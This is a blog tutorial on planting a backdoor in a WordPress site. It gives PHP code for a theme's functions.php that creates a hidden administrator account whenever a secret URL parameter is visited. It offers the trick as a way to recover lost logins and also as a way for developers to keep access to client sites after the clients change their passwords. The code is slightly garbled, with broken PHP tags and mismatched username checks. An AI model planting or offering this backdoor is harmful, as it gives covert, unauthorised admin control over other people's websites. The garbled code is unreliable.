How to Create a Backdoor Entry on a WordPress website

ometimes you cannot access your WordPress administrator account if you lose your login information. What should you do then? Make your own backdoor. Whenever you need access, a backdoor can provide it.

If you are in the business of creating websites for others, this trick might come in handy. Even if they change their password after completing the website, you can still create your impact within minutes.

It also happens where a customer has no idea how to log in, and no longer has any contact with the previous developer so they do not know how to get in. Trying to get the login information from an old developer can sometimes be tricky and take a while if they even respond.

Adding a backdoor entry to a WordPress site

Step1:

Open the functions.php file located in your current theme’s folder. This is where we will place the code.

P.s. The recommended method is to put this in your child theme’s functions.php file – This will prevent it from being overwritten when there are theme updates.

Step2:

Copy the following code and paste it at the end of the file:

<?ph
	add_action('wp_head', 'wploop_backdoor'); 
	

	function wploop_backdoor() { 
	  If ($_GET['entryhook'] == 'knockknock') { 
	     require('wp-includes/registration.php'); 
	     If (!username_exists('username')) { 
	        $user_id = wp_create_user('name', 'pass'); 
	        $user = new WP_User($user_id);
	        $user->set_role('administrator');
	     }
	  }
	}
	?>p

Step3:

Once you have made your changes, save the file and leave it until you need it.

Leaving the code as is, all you will need to do is create a new administrator on your site. You can do this by visiting https://yoursite.com/?entryhook=knockknock.

After the page has loaded, type in your new username in “name” and the password in “pass.”

If you want to make this change in the code, you can just change the ‘name’ and ‘password’ to whatever you want. Additionally, you can make changes to your back door link by changing either or both ‘knockknock’ or ‘entryhook’.

Share on facebook
Share on google
Share on twitter
Share on linkedin
Monjur Ahmed

Monjur Ahmed

I'm Monjur Ahmed ! Currently Studying Computer Science & Engineering at City University of Bangladesh.

Leave a Replay

Sign up for our Newsletter